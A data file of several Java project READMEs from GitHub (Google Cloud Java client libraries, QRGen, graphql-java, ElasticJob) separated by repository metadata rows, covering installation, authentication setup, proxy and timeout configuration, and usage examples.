| [Merchant API](https://github.com/googleapis/google-cloud-java/tree/main/java-shopping-merchant-inventories) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.shopping%20AND%20a:google-shopping-merchant-inventories&core=gav) |
| [Migration Center API](https://github.com/googleapis/google-cloud-java/tree/main/java-migrationcenter) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-migrationcenter&core=gav) |
| [Monitoring Metrics Scopes](https://github.com/googleapis/google-cloud-java/tree/main/java-monitoring-metricsscope) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-monitoring-metricsscope&core=gav) |
| [NIO Filesystem Provider for Storage](https://github.com/googleapis/java-storage-nio) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-nio&core=gav) |
| [NetApp API](https://github.com/googleapis/google-cloud-java/tree/main/java-netapp) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-netapp&core=gav) |
| [Network Security API](https://github.com/googleapis/google-cloud-java/tree/main/java-network-security) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-network-security&core=gav) |
| [Phishing Protection](https://github.com/googleapis/google-cloud-java/tree/main/java-phishingprotection) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-phishingprotection&core=gav) |
| [Places API (New)](https://github.com/googleapis/google-cloud-java/tree/main/java-maps-places) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.maps%20AND%20a:google-maps-places&core=gav) |
| [Policy Simulator API](https://github.com/googleapis/google-cloud-java/tree/main/java-policysimulator) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-policysimulator&core=gav) |
| [Private Catalog](https://github.com/googleapis/google-cloud-java/tree/main/java-private-catalog) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-private-catalog&core=gav) |
| [Pub/Sub Lite Flink Connector](https://github.com/googleapis/java-pubsublite-flink) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-pubsublite-flink&core=gav) |
| [Public Certificate Authority](https://github.com/googleapis/google-cloud-java/tree/main/java-publicca) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-publicca&core=gav) |
| [Quotas API](https://github.com/googleapis/google-cloud-java/tree/main/java-cloudquotas) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-cloudquotas&core=gav) |
| [Rapid Migration Assessment API](https://github.com/googleapis/google-cloud-java/tree/main/java-rapidmigrationassessment) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-rapidmigrationassessment&core=gav) |
| [Recommendations AI](https://github.com/googleapis/google-cloud-java/tree/main/java-recommendations-ai) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-recommendations-ai&core=gav) |
| [Registry API](https://github.com/googleapis/google-cloud-java/tree/main/java-apigee-registry) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-apigee-registry&core=gav) |
| [Run](https://github.com/googleapis/google-cloud-java/tree/main/java-run) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-run&core=gav) |
| [Secure Source Manager API](https://github.com/googleapis/google-cloud-java/tree/main/java-securesourcemanager) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-securesourcemanager&core=gav) |
| [Security Center Management API](https://github.com/googleapis/google-cloud-java/tree/main/java-securitycentermanagement) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-securitycentermanagement&core=gav) |
| [Security Command Center Settings API](https://github.com/googleapis/google-cloud-java/tree/main/java-securitycenter-settings) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-securitycenter-settings&core=gav) |
| [Security Posture API](https://github.com/googleapis/google-cloud-java/tree/main/java-securityposture) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-securityposture&core=gav) |
| [Service Health API](https://github.com/googleapis/google-cloud-java/tree/main/java-servicehealth) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-servicehealth&core=gav) |
| [Storage Insights API](https://github.com/googleapis/google-cloud-java/tree/main/java-storageinsights) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-storageinsights&core=gav) |
| [Support API](https://github.com/googleapis/google-cloud-java/tree/main/java-cloudsupport) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-cloudsupport&core=gav) |
| [Telco Automation API](https://github.com/googleapis/google-cloud-java/tree/main/java-telcoautomation) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-telcoautomation&core=gav) |
| [VMware Engine](https://github.com/googleapis/google-cloud-java/tree/main/java-vmwareengine) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-vmwareengine&core=gav) |
| [VertexAI API](https://github.com/googleapis/google-cloud-java/tree/main/java-vertexai) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-vertexai&core=gav) |
| [Video Stitcher API](https://github.com/googleapis/google-cloud-java/tree/main/java-video-stitcher) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-video-stitcher&core=gav) |
| [Workstations](https://github.com/googleapis/google-cloud-java/tree/main/java-workstations) | [![preview][preview-stability]][preview-description] | [](https://search.maven.org/search?q=g:com.google.cloud%20AND%20a:google-cloud-workstations&core=gav) |
[//]: # (API_TABLE_END)
If the service is not listed, [google-api-java-client][google-api-java-client-services] interfaces with additional Google Cloud APIs using a legacy REST interface.
*When building Java applications, preference should be given to the libraries listed in the table.*
## Specifying a Project ID
Most `google-cloud` libraries require a project ID. There are multiple ways to specify this project ID.
1. When using `google-cloud` libraries from within Compute/App Engine, there's no need to specify a project ID. It is automatically inferred from the production environment.
2. When using `google-cloud` elsewhere, you can do one of the following:
* Supply the project ID when building the service options. For example, to use Datastore from a project with ID "PROJECT_ID", you can write:
```java
Datastore datastore = DatastoreOptions.newBuilder().setProjectId("PROJECT_ID").build().getService();
```
* Specify the environment variable `GOOGLE_CLOUD_PROJECT` to be your desired project ID.
* Set the project ID using the [Google Cloud SDK](https://cloud.google.com/sdk/?hl=en). To use the SDK, [download the SDK](https://cloud.google.com/sdk/?hl=en) if you haven't already, and set the project ID from the command line. For example:
```
gcloud config set project PROJECT_ID
```
`google-cloud` determines the project ID from the following sources in the listed order, stopping once it finds a value:
1. The project ID supplied when building the service options
2. Project ID specified by the environment variable `GOOGLE_CLOUD_PROJECT`
3. The App Engine / Compute Engine project ID
4. The project ID specified in the JSON credentials file pointed by the `GOOGLE_APPLICATION_CREDENTIALS` environment variable
5. The Google Cloud SDK project ID
In cases where the library may expect a project ID explicitly, we provide a helper that can provide the inferred project ID:
```java
import com.google.cloud.ServiceOptions;
...
String projectId = ServiceOptions.getDefaultProjectId();
```
## Authentication
`google-cloud-java` uses
[https://github.com/googleapis/google-auth-library-java](https://github.com/googleapis/google-auth-library-java)
to authenticate requests. `google-auth-library-java` supports a wide range of authentication types;
see the project's [README](https://github.com/google/google-auth-library-java/blob/main/README.md)
and [javadoc](https://cloud.google.com/java/docs/reference/google-auth-library/latest/overview) for more
details.
### Google Cloud Platform environment
When using Google Cloud libraries from a Google Cloud Platform environment such as Compute Engine,
Kubernetes Engine, or App Engine, no additional authentication steps are necessary.
For example:
```java
Storage storage = StorageOptions.getDefaultInstance().getService();
```
or:
```java
CloudTasksClient cloudTasksClient = CloudTasksClient.create();
```
### Other environments
#### Using a service account (recommended)
1. [Generate a JSON service account key](https://cloud.google.com/storage/docs/authentication?hl=en#service_accounts).
2. After downloading that key, you must do one of the following:
* Define the environment variable GOOGLE_APPLICATION_CREDENTIALS to be the location of the key.
For example:
```bash
export GOOGLE_APPLICATION_CREDENTIALS=/path/to/my/key.json
```
* Supply the JSON credentials file when building the service options. For example, this Storage
object has the necessary permissions to interact with your Google Cloud Storage data:
```java
Storage storage = StorageOptions.newBuilder()
.setCredentials(ServiceAccountCredentials.fromStream(new FileInputStream("/path/to/my/key.json")))
.build()
.getService();
```
#### Local development/testing
If running locally for development/testing, you can use the [Google Cloud SDK](https://cloud.google.com/sdk/).
Create Application Default Credentials with `gcloud auth application-default login`, and then
`google-cloud` will automatically detect such credentials.
#### Existing OAuth2 access token
If you already have an OAuth2 access token, you can use it to authenticate (notice that in this case, the
access token will not be automatically refreshed):
```java
Credentials credentials = GoogleCredentials.create(new AccessToken(accessToken, expirationTime));
Storage storage = StorageOptions.newBuilder()
.setCredentials(credentials)
.build()
.getService();
```
or:
```java
Credentials credentials = GoogleCredentials.create(new AccessToken(accessToken, expirationTime));
CloudTasksSettings cloudTasksSettings = CloudTasksSettings.newBuilder()
.setCredentialProvider(FixedCredentialsProvider.create(credentials))
.build();
CloudTasksClient cloudTasksClient = CloudTasksClient.create(cloudTasksSettings);
```
### Application Default Credentials
If no credentials are provided, `google-cloud` will attempt to detect them from the environment
using `GoogleCredentials.getApplicationDefault()` which will search for Application Default
Credentials in the following locations (in order):
1. The credentials file pointed to by the `GOOGLE_APPLICATION_CREDENTIALS` environment variable
2. Credentials provided by the Google Cloud SDK `gcloud auth application-default login` command
3. Google App Engine built-in credentials
4. Google Cloud Shell built-in credentials
5. Google Compute Engine built-in credentials
## Troubleshooting
To get help, follow the instructions in the [Troubleshooting document](https://github.com/googleapis/google-cloud-java/blob/main/TROUBLESHOOTING.md).
## Configuring a Proxy
Google Cloud client libraries use HTTPS and gRPC in underlying communication
with the services.
In both protocols, you can configure a proxy using `https.proxyHost`
and (optional) `https.proxyPort` properties.
### gRPC Custom Proxy Configuration
For a more custom proxy with gRPC, you will need supply a `ProxyDetector` to
the `ManagedChannelBuilder`:
```java
import com.google.api.core.ApiFunction;
import com.google.api.gax.rpc.TransportChannelProvider;
import com.google.cloud.tasks.v2.CloudTasksClient;
import com.google.cloud.tasks.v2.CloudTasksSettings;
import com.google.cloud.tasks.v2.stub.CloudTasksStubSettings;
import io.grpc.HttpConnectProxiedSocketAddress;
import io.grpc.ManagedChannelBuilder;
import io.grpc.ProxiedSocketAddress;
import io.grpc.ProxyDetector;
import javax.annotation.Nullable;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.SocketAddress;
public CloudTasksClient getService() throws IOException {
TransportChannelProvider transportChannelProvider =
CloudTasksStubSettings.defaultGrpcTransportProviderBuilder()
.setChannelConfigurator(
new ApiFunction<ManagedChannelBuilder, ManagedChannelBuilder>() {
@Override
public ManagedChannelBuilder apply(ManagedChannelBuilder managedChannelBuilder) {
return managedChannelBuilder.proxyDetector(
new ProxyDetector() {
@Nullable
@Override
public ProxiedSocketAddress proxyFor(SocketAddress socketAddress)
throws IOException {
return HttpConnectProxiedSocketAddress.newBuilder()
.setUsername(PROXY_USERNAME)
.setPassword(PROXY_PASSWORD)
.setProxyAddress(new InetSocketAddress(PROXY_HOST, PROXY_PORT))
.setTargetAddress((InetSocketAddress) socketAddress)
.build();
}
});
}
})
.build();
CloudTasksSettings cloudTasksSettings =
CloudTasksSettings.newBuilder()
.setTransportChannelProvider(transportChannelProvider)
.build();
return CloudTasksClient.create(cloudTasksSettings);
}
```
## Long Running Operations
Long running operations (LROs) are often used for API calls that are expected to
take a long time to complete (i.e. provisioning a GCE instance or a Dataflow pipeline).
The initial API call creates an "operation" on the server and returns an Operation ID
to track its progress. LRO RPCs have the suffix `Async` appended to the call name
(i.e. `clusterControllerClient.createClusterAsync()`)
Our generated clients provide a nice interface for starting the operation and
then waiting for the operation to complete. This is accomplished by returning an
[`OperationFuture`](https://cloud.google.com/java/docs/reference/gax/latest/com.google.api.gax.longrunning.OperationFuture).
When calling `get()` on the `OperationFuture`, the client library will poll the operation to
check the operation's status.
For example, take a sample `createCluster` Operation in google-cloud-dataproc v4.20.0:
```java
try (ClusterControllerClient clusterControllerClient = ClusterControllerClient.create()) {
CreateClusterRequest request =
CreateClusterRequest.newBuilder()
.setProjectId("{PROJECT_ID}")
.setRegion("{REGION}")
.setCluster(Cluster.newBuilder().build())
.setRequestId("{REQUEST_ID}")
.setActionOnFailedPrimaryWorkers(FailureAction.forNumber(0))
.build();
OperationFuture<Cluster, ClusterOperationMetadata> future =
clusterControllerClient.createClusterOperationCallable().futureCall(request);
// Do something.
Cluster response = future.get();
} catch (CancellationException e) {
// Exceeded the default RPC timeout without the Operation completing.
// Library is no longer polling for the Operation status. Consider
// increasing the timeout.
}
```
### LRO Timeouts
The polling operations have a default timeout that varies from service to service.
The library will throw a `java.util.concurrent.CancellationException` with the message:
`Task was cancelled.` if the timeout exceeds the operation. A `CancellationException`
does not mean that the backend GCP Operation was cancelled. This exception is thrown from the
client library when it has exceeded the total timeout without receiving a successful status from the operation.
Our client libraries respect the configured values set in the OperationTimedPollAlgorithm for each RPC.
Note: The client library handles the Operation's polling mechanism for you. By default, there is no need
to manually poll the status yourself.
### Default LRO Values
Each LRO RPC has a pre-configured default values. You can find these values by
searching in each Client's `StubSettings`'s class. The default LRO settings are initialized
inside the `initDefaults()` method in the nested Builder class.
For example, in google-cloud-aiplatform v3.24.0, the default [OperationTimedPollAlgorithm](https://github.com/googleapis/google-cloud-java/blob/9ae786d1acdc7354adf86b78691570668caa293d/java-aiplatform/google-cloud-aiplatform/src/main/java/com/google/cloud/aiplatform/v1/stub/EndpointServiceStubSettings.java#L755-L765)
has these default values:
```java
OperationTimedPollAlgorithm.create(
RetrySettings.newBuilder()
.setInitialRetryDelay(Duration.ofMillis(5000L))
.setRetryDelayMultiplier(1.5)
.setMaxRetryDelay(Duration.ofMillis(45000L))
.setInitialRpcTimeout(Duration.ZERO)
.setRpcTimeoutMultiplier(1.0)
.setMaxRpcTimeout(Duration.ZERO)
.setTotalTimeout(Duration.ofMillis(300000L))
.build())
```
Both retries and LROs share the same RetrySettings class. Note the corresponding link:
- Total Timeout (Max Time allowed for polling): 5 minutes
- Initial Retry Delay (Initial delay before first poll): 5 seconds
- Max Retry Delay (Maximum delay between each poll): 45 seconds
- Retry Delay Multiplier (Multiplier value to increase the poll delay): 1.5
The RPC Timeout values have no use in LROs and can be omitted or set to the default values
(`Duration.ZERO` for Timeouts or `1.0` for the multiplier).
### Configuring LRO Timeouts
To configure the LRO values, create an OperationTimedPollAlgorithm object and update the
RPC's polling algorithm. For example:
```java
ClusterControllerSettings.Builder settingsBuilder = ClusterControllerSettings.newBuilder();
TimedRetryAlgorithm timedRetryAlgorithm = OperationTimedPollAlgorithm.create(
RetrySettings.newBuilder()
.setInitialRetryDelay(Duration.ofMillis(500L))
.setRetryDelayMultiplier(1.5)
.setMaxRetryDelay(Duration.ofMillis(5000L))
.setInitialRpcTimeout(Duration.ZERO) // ignored
.setRpcTimeoutMultiplier(1.0) // ignored
.setMaxRpcTimeout(Duration.ZERO) // ignored
.setTotalTimeout(Duration.ofHours(24L)) // set polling timeout to 24 hours
.build());
settingsBuilder.createClusterOperationSettings()
.setPollingAlgorithm(timedRetryAlgorithm);
ClusterControllerClient clusterControllerClient = ClusterControllerClient.create(settingsBuilder.build());
```
Note: The configuration above *only* modifies the LRO values for the `createClusterOperation` RPC.
The other RPCs in the Client will still use each RPC's pre-configured LRO values.
## Managing Dependencies
If you are using more than one Google Cloud client library, we recommend you use one of
our Bill of Material (BOM) artifacts to help manage dependency versions. For more information,
see [Using the Cloud Client Libraries](https://cloud.google.com/java/docs/bom).
## Java Versions
Java 8 or above is required for using the clients in this repository.
## Supported Platforms
Clients in this repository use either HTTP or gRPC for the transport layer. All
HTTP-based clients should work in all environments.
For clients that use gRPC, the supported platforms are constrained by the platforms
that [Forked Tomcat Native](http://netty.io/wiki/forked-tomcat-native.html) supports,
which for architectures means only x86_64, and for operating systems means Mac OS X,
Windows, and Linux. Additionally, gRPC constrains the use of platforms with
threading restrictions.
Thus, the following are not supported:
- Android
- Consider [Firebase](https://firebase.google.com), which includes many of these APIs.
- It is possible to use these libraries in many cases, although it is unsupported.
You can find examples, such as [this one](https://github.com/GoogleCloudPlatform/android-docs-samples/tree/master/speech/SpeechRecognitionClient),
in this [example repository](https://github.com/GoogleCloudPlatform/android-docs-samples) but consider the risks carefully before using these libraries in an application.
- Raspberry Pi (since it runs on the ARM architecture)
- Google App Engine Standard Java 7
The following environments should work (among others):
- standalone Windows on x86_64
- standalone Mac OS X on x86_64
- standalone Linux on x86_64
- Google Compute Engine (GCE)
- Google Container Engine (GKE)
- Google App Engine Standard Java 8 (GAE Std J8)
- Google App Engine Flex (GAE Flex)
- Alpine Linux (Java 11+)
## Testing
This library provides tools to help write tests for code that uses google-cloud services.
See [TESTING] to read more about using our testing helpers.
## Versioning
This library follows [Semantic Versioning](http://semver.org/), with some
additional qualifications:
1. Components marked with `@BetaApi` or `@Experimental` are considered to be "0.x"
features inside a "1.x" library. This means they can change between minor and
patch releases in incompatible ways. These features should not be used by any
library "B" that itself has consumers, unless the components of library B that
use `@BetaApi` features are also marked with `@BetaApi`. Features marked as
`@BetaApi` are on a path to eventually become "1.x" features with the marker
removed.
**Special exception for google-cloud-java**: google-cloud-java is
allowed to depend on `@BetaApi` features in gax-java without declaring the consuming
code `@BetaApi`, because gax-java and google-cloud-java move in step
with each other. For this reason, gax-java should not be used
independently of google-cloud-java.
1. Components marked with `@InternalApi` are technically public, but only
because of the limitations of Java's access
modifiers. For the purposes of semver, they should be considered private.
1. Interfaces marked with `@InternalExtensionOnly` are public, but should only be
implemented by internal classes. For the purposes of semver, we reserve the right
to add to these interfaces without default implementations (for Java 7).
Please note these clients are currently under active development. Any release versioned 0.x.y is
subject to backwards incompatible changes at any time.
### Stable
Libraries defined at a Stable quality level are expected to be stable and all updates in the
libraries are guaranteed to be backwards-compatible. Any backwards-incompatible changes will lead
to the major version increment (1.x.y -> 2.0.0).
### Preview
Libraries defined at a Preview quality level are still a work-in-progress and
are more likely to get backwards-incompatible updates. Additionally, it's possible for Preview
libraries to get deprecated and deleted before ever being promoted to Preview or Stable.
## IDE Plugins
If you're using IntelliJ or Eclipse, you can add client libraries to your project using these IDE plugins:
* [Cloud Tools for IntelliJ](https://cloud.google.com/tools/intellij/docs/client-libraries?utm_source=github&utm_medium=google-cloud-java&utm_campaign=ToolsforIntelliJ)
* [Cloud Tools for Eclipse](https://cloud.google.com/eclipse/docs/libraries?utm_source=github&utm_medium=google-cloud-java&utm_campaign=ToolsforEclipse)
Besides adding client libraries, the plugins provide additional functionality, such as service account
key management. Refer to the documentation for each plugin for more details.
These client libraries can be used on App Engine standard for Java 8 runtime and App Engine flexible
(including the Compat runtime). Most of the libraries do not work on the App Engine standard for Java 7
runtime. However, Datastore, Storage, and Bigquery should work.
## Contributing
Contributions to this library are always welcome and highly encouraged.
See `google-cloud`'s [CONTRIBUTING] documentation and the [shared documentation](https://github.com/googleapis/google-cloud-common/blob/main/contributing/readme.md#how-to-contribute-to-gcloud) for more information on how to get started.
Please note that this project is released with a Contributor Code of Conduct. By participating in this project you agree to abide by its terms. See [Code of Conduct][code-of-conduct] for more information.
## License
Apache 2.0 - See [LICENSE] for more information.
[cloud-java]: https://cloud.google.com/java
[stable-stability]: https://img.shields.io/badge/stability-stable-green
[stable-description]: #stable
[preview-stability]: https://img.shields.io/badge/stability-preview-yellow
[preview-description]: #preview
[google-api-java-client-services]: https://github.com/googleapis/google-api-java-client-services#supported-google-apis
[CONTRIBUTING]:https://github.com/googleapis/google-cloud-java/blob/main/CONTRIBUTING.md
[code-of-conduct]:https://github.com/googleapis/google-cloud-java/blob/main/CODE_OF_CONDUCT.md#contributor-code-of-conduct
[LICENSE]: https://github.com/googleapis/google-cloud-java/blob/main/LICENSE
[TESTING]: https://github.com/googleapis/google-cloud-java/blob/main/TESTING.md
[cloud-platform]: https://cloud.google.com/
[cloud-platform-docs]: https://cloud.google.com/docs/
[client-lib-docs]: https://cloud.google.com/java/docs/reference
| 0 |
kenglxn/QRGen | a simple QRCode generation api for java built on top ZXING | null | [](https://travis-ci.org/kenglxn/QRGen)
[](https://jitpack.io/#kenglxn/QRGen)
### QRGen: a simple QRCode generation api for java built on top ZXING
Please consider [sponsoring](https://github.com/sponsors/kenglxn) the work on QRGen
#### Dependencies:
ZXING: http://code.google.com/p/zxing/
#### Get it:
QRGen consists of three modules: ```core```, ```javase``` and ```android```.
As of 2.1.0 QRGen is available from [jitpack.io](https://jitpack.io/#kenglxn/QRGen). QRGen is no longer deployed to maven central (ref: #61).
Older releases are available from [Maven Central Repository](http://search.maven.org/#browse%7C-852965118).
As of 3.0.1 java 11 is required.
Latest java 8 version is 2.7.0.
Maven:
```xml
<repositories>
<repository>
<id>jitpack.io</id>
<url>https://jitpack.io</url>
</repository>
</repositories>
```
Gradle:
```gradle
allprojects {
repositories {
// ...
maven { url "https://jitpack.io" }
}
}
```
##### Nexus proxy setup for jitpack
See https://github.com/jitpack/jitpack.io/issues/506 for solution.
(thanks to @LTheobald for the heads up)
#### Java Application
When developing a Java application you need to add ```javase``` module to your list of dependencies. The required ```core``` module will be added automatically by your build system:
Gradle:
```gradle
dependencies {
implementation 'com.github.kenglxn.QRGen:javase:3.0.1'
}
```
Maven:
```xml
<dependencies>
<dependency>
<groupId>com.github.kenglxn.QRGen</groupId>
<artifactId>javase</artifactId>
<version>3.0.1</version>
</dependency>
</dependencies>
```
##### Android
When you want to use QRGen inside your android application you need to add the ```android``` module to your list of dependencies. The required ```core``` module will be added automatically by your build system:
Gradle:
```gradle
dependencies {
implementation 'com.github.kenglxn.QRGen:android:3.0.1'
}
```
Maven:
```xml
<dependencies>
<dependency>
<groupId>com.github.kenglxn.QRGen</groupId>
<artifactId>android</artifactId>
<version>3.0.1</version>
</dependency>
</dependencies>
```
Or you can clone and build yourself:
```bash
git clone git://github.com/kenglxn/QRGen.git
cd QRGen/
mvn clean install
```
#### Usage:
```java
public class Demo {
public static void main(String[] args) {
// get QR file from text using defaults
File file = QRCode.from("Hello World").file();
// get QR stream from text using defaults
ByteArrayOutputStream stream = QRCode.from("Hello World").stream();
// override the image type to be JPG
QRCode.from("Hello World").to(ImageType.JPG).file();
QRCode.from("Hello World").to(ImageType.JPG).stream();
// override image size to be 250x250
QRCode.from("Hello World").withSize(250, 250).file();
QRCode.from("Hello World").withSize(250, 250).stream();
// override size and image type
QRCode.from("Hello World").to(ImageType.GIF).withSize(250, 250).file();
QRCode.from("Hello World").to(ImageType.GIF).withSize(250, 250).stream();
// override default colors (black on white)
// notice that the color format is "0x(alpha: 1 byte)(RGB: 3 bytes)"
// so in the example below it's red for foreground and yellowish for background, both 100% alpha (FF).
QRCode.from("Hello World").withColor(0xFFFF0000, 0xFFFFFFAA).file();
// supply own outputstream
QRCode.from("Hello World").to(ImageType.PNG).writeTo(new ByteArrayOutputStream());
// supply own file name
QRCode.from("Hello World").file("QRCode");
// supply charset hint to ZXING
QRCode.from("Hello World").withCharset("UTF-8");
// supply error correction level hint to ZXING
QRCode.from("Hello World").withErrorCorrection(ErrorCorrectionLevel.L);
// supply any hint to ZXING
QRCode.from("Hello World").withHint(EncodeHintType.CHARACTER_SET, "UTF-8");
// encode contact data as vcard using defaults
VCard johnDoe = new VCard("John Doe")
.setEmail("john.doe@example.org")
.setAddress("John Doe Street 1, 5678 Doestown")
.setTitle("Mister")
.setCompany("John Doe Inc.")
.setPhoneNumber("1234")
.setWebsite("www.example.org");
QRCode.from(johnDoe).file();
// encode email data
EMail email = new EMail("John.Doe@example.org");
QRCode.from(email).file();
// encode mms data
MMS mms = new MMS("8675309", "Hello Jenny");
QRCode.from(mms).file();
// encode sms data
SMS sms = new SMS("8675309", "Hello Jenny");
QRCode.from(sms).file();
// encode MeCard data
MeCard janeDoe = new MeCard("Jane Doe");
janeDoe.setEmail("john.doe@example.org");
janeDoe.setAddress("John Doe Street 1, 5678 Doestown");
janeDoe.setTelephone("1234");
QRCode.from(janeDoe).file();
// if using special characters don't forget to supply the encoding
VCard johnSpecial = new VCard("Jöhn Dɵe")
.setAddress("ëåäöƞ Sträät 1, 1234 Döestüwn");
QRCode.from(johnSpecial).withCharset("UTF-8").file();
}
}
```
#### Java SE only
When using java you can create svg files via `.svg()` terminal operator:
```java
File file = QRCode.from("www.example.org").svg();
File file = QRCode.from("www.example.com").withSize(250, 250).withColor(30, 90).svg();
```
It's also possible to write svg to an `OutputStream` with terminal operation:
```java
OutputStream outs = // ...
QRCode.from("www.example.org").svg(outs);
```
#### Android only
On Android you have a special method `bitmap()` which returns a `android.graphics.Bitmap` without creating a `File` object before, so you can use the generated `android.graphics.Bitmap` immediately inside an `ImageView`:
```java
Bitmap myBitmap = QRCode.from("www.example.org").bitmap();
ImageView myImage = (ImageView) findViewById(R.id.imageView);
myImage.setImageBitmap(myBitmap);
```
#### License:
http://www.apache.org/licenses/LICENSE-2.0.html
| 0 |
xerial/sqlite-jdbc | SQLite JDBC Driver | database java jdbc sqlite | null | 0 |
graphql-java/graphql-java | GraphQL Java implementation | graphql graphql-java java | # GraphQL Java
Discuss and ask questions in our Discussions: https://github.com/graphql-java/graphql-java/discussions
This is a [GraphQL](https://github.com/graphql/graphql-spec) Java implementation.
Latest build in Maven central: https://repo1.maven.org/maven2/com/graphql-java/graphql-java/
[](https://github.com/graphql-java/graphql-java/actions/workflows/master.yml)
[](https://maven-badges.herokuapp.com/maven-central/com.graphql-java/graphql-java/)
[](https://maven-badges.herokuapp.com/maven-central/com.graphql-java/graphql-java/)
[](https://github.com/graphql-java/graphql-java/blob/master/LICENSE.md)
### Documentation
The GraphQL Java book, from the maintainers: [GraphQL with Java and Spring](https://leanpub.com/graphql-java/)
See our tutorial for beginners: [Getting started with GraphQL Java and Spring Boot](https://www.graphql-java.com/tutorials/getting-started-with-spring-boot/)
For further details, please see the documentation: https://www.graphql-java.com/documentation/getting-started
If you're looking to learn more, we (the maintainers) have written a book! [GraphQL with Java and Spring](https://leanpub.com/graphql-java) includes everything you need to know to build a production ready GraphQL service. The book is available on [Leanpub](https://leanpub.com/graphql-java) and [Amazon](https://www.amazon.com/GraphQL-Java-Spring-Andreas-Marek-ebook/dp/B0C96ZYWPF/).
Please take a look at our [list of releases](https://github.com/graphql-java/graphql-java/releases) if you want to learn more about new releases and the changelog.
### Code of Conduct
Please note that this project is released with a [Contributor Code of Conduct](CODE_OF_CONDUCT.md).
By contributing to this project (commenting or opening PR/Issues etc) you are agreeing to follow this conduct, so please
take the time to read it.
### License
Copyright (c) 2015, Andreas Marek and [Contributors](https://github.com/graphql-java/graphql-java/graphs/contributors)
### Supported by
[YourKit](https://www.yourkit.com/) supports this project by providing the YourKit Java Profiler.
| 0 |
apache/shardingsphere-elasticjob | Distributed scheduled job | cron database elasticjob job job-management middleware quartz scheduled-jobs shard | # [ElasticJob - Distributed scheduled job](http://shardingsphere.apache.org/elasticjob/)
**Official website: https://shardingsphere.apache.org/elasticjob/**
[](https://starchart.cc/apache/shardingsphere-elasticjob)
Through the functions of flexible scheduling, resource management and job management,
it creates a distributed scheduling solution suitable for Internet scenarios,
and provides a diversified job ecosystem through open architecture design.
It uses a unified job API for each project.
Developers only need code one time and can deploy at will.
ElasticJob became an [Apache ShardingSphere](https://shardingsphere.apache.org/) Sub-project on May 28 2020.
You are welcome to communicate with the community via the [mailing list](mailto:dev@shardingsphere.apache.org).
[](https://www.apache.org/licenses/LICENSE-2.0.html)
[](https://github.com/apache/shardingsphere-elasticjob/releases)
[](https://maven-badges.herokuapp.com/maven-central/org.apache.shardingsphere.elasticjob/elasticjob)
[](https://travis-ci.org/apache/shardingsphere-elasticjob)
[](https://github.com/apache/shardingsphere-elasticjob/actions/workflows/maven.yml?query=branch%3Amaster)
[](https://codecov.io/gh/apache/shardingsphere-elasticjob)
[](https://cloud.quality-gate.com/dashboard/branches/396041#overview)
## Introduction
Using ElasticJob developers can no longer worry about the non functional requirements such as job scale out, so that they can focus more on business coding.
At the same time, it can release operators too, so that they do not have to worry about high availability and management, and can automatically operate by simply adding servers.
It is a lightweight, decentralized solution that provides distributed task sharding services.
## Features
- Elastic Schedule
- Support job sharding and high availability in distributed system
- Scale out for throughput and efficiency improvement
- Job processing capacity is flexible and scalable with the allocation of resources
- Resource Assign
- Execute job on suitable time and assigned resources
- Aggregation same job to same job executor
- Append resources to newly assigned jobs dynamically
- Job Governance
- Failover
- Misfired
- Self diagnose and recover when distribute environment unstable
- Job Dependency (TODO)
- DAG based job dependency
- DAG based job item dependency
- Job Open Ecosystem
- Unify job api for extension
- Support rich job type lib, such as dataflow, script, HTTP, file, big data
- Focus business SDK, can work with Spring IOC
- [Admin Console](https://github.com/apache/shardingsphere-elasticjob-ui)
- Job administration
- Job event trace query
- Registry center management
## Environment Required
### Java
Java 8 or above required.
### Maven
Maven 3.5.0 or above required.
### ZooKeeper
